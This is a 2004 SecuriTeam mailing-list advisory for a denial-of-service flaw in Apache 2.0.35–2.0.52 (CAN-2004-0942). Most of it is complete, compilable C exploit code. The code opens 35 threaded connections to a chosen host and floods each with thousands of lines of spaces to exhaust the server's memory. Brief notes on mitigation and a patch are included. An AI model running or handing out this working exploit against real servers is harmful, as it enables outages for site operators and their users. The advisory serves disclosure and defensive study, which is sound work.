[EXPL] Apache Multiple Space Header DoS (Multi-Threaded Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/18/04

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Date: 18 Nov 2004 18:51:48 +0200

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      Apache Multiple Space Header DoS (Multi-Threaded Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    The exploit code below is another version of the Apache 2.0.52 DoS
    vulnerability published previously here:
    <http://www.securiteam.com/unixfocus/6A0010KBPE.html> Apache Multiple
    Space Header DoS.

    DETAILS

    Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to
    2.0.50 was tested. This attack may be preventable with a properly
    configured iptables ruleset.

    This exploit is multi threaded version (implemented with pthread) and
    should be compiled appropriately.
    e.g: gcc -lpthread -o apache-squ1rt apache-squ1rt.c

    Exploit Code:
    /*
    Apache Squ1rt, Denial of Service Proof of Concept
    Tested on Apache 2.0.52

    j0hnylightning at gmail dot com
    dguido at gmail dot com

    Sends a request that starts with:
    GET / HTTP/1.0\n
    8000 spaces \n
    8000 spaces \n
    8000 spaces \n
    ..
    8000 times

    Apache never kills it. Takes up huge amounts of
    RAM which increase with each connection.

    Original credit goes to Chintan Trivedi on the
    FullDisclosure mailing list:
    http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

    More info:
    http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

    Versions between 2.0.35 and 2.0.52 may be vulnerable,
    but only down to 2.0.50 was tested.

    This attack may be preventable with a properly configured
    iptables ruleset. Gentoo already has a patch out in the
    2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

    v2
    Rewritten to use pthread.
    gcc apache-squ1rt.c -lpthread
    */

    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <pthread.h>
    #define DEST_PORT 80

    void *squirtIt(char *hName);

    char attackBuf[8000];
    char letsGetStarted[128];

    int main(int argc, char **argv){
            int num_connect;
            int ret;
            pthread_t tid[35];

            sprintf(letsGetStarted, "GET / HTTP/1.0\n");
            memset(attackBuf, ' ', 8000);
            attackBuf[7998]='\n';
            attackBuf[7999]='\0';

            if (argc != 2){
                    fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
                    exit(1);
            }

            for(num_connect = 0; num_connect < 35; num_connect++){
                    ret = pthread_create(&tid[num_connect], NULL, (void
    *)squirtIt, argv[1]);
            }
            
            /* assuming any of these threads actually terminate, this waits
    for
    all of them */
            for(num_connect = 0; num_connect < 35; num_connect++){
                    pthread_join(tid[num_connect], NULL);
            }

      return 0;
    }

    void *squirtIt(char *hName){
            int sock, i;
            struct hostent *target;
            struct sockaddr_in addy;

            if((target = gethostbyname(hName)) == NULL){
                    herror("gethostbyname()");
                    exit(1);
            }

            if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                    perror("socket()");
                    exit(1);
            }

            addy.sin_family = AF_INET;
            addy.sin_port = htons(DEST_PORT);
            bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
            memset(&(addy.sin_zero), '\0', 8);

            if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
                    perror("connect()");
                    exit(1);
            }

            send(sock, letsGetStarted, strlen(letsGetStarted), 0);

            for(i=0; i < 8000; i++){
                    send(sock, attackBuf, strlen(attackBuf), 0);
            }

            close(sock);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dguido@gmail.com> Daniel
    Guido.

    ========================================

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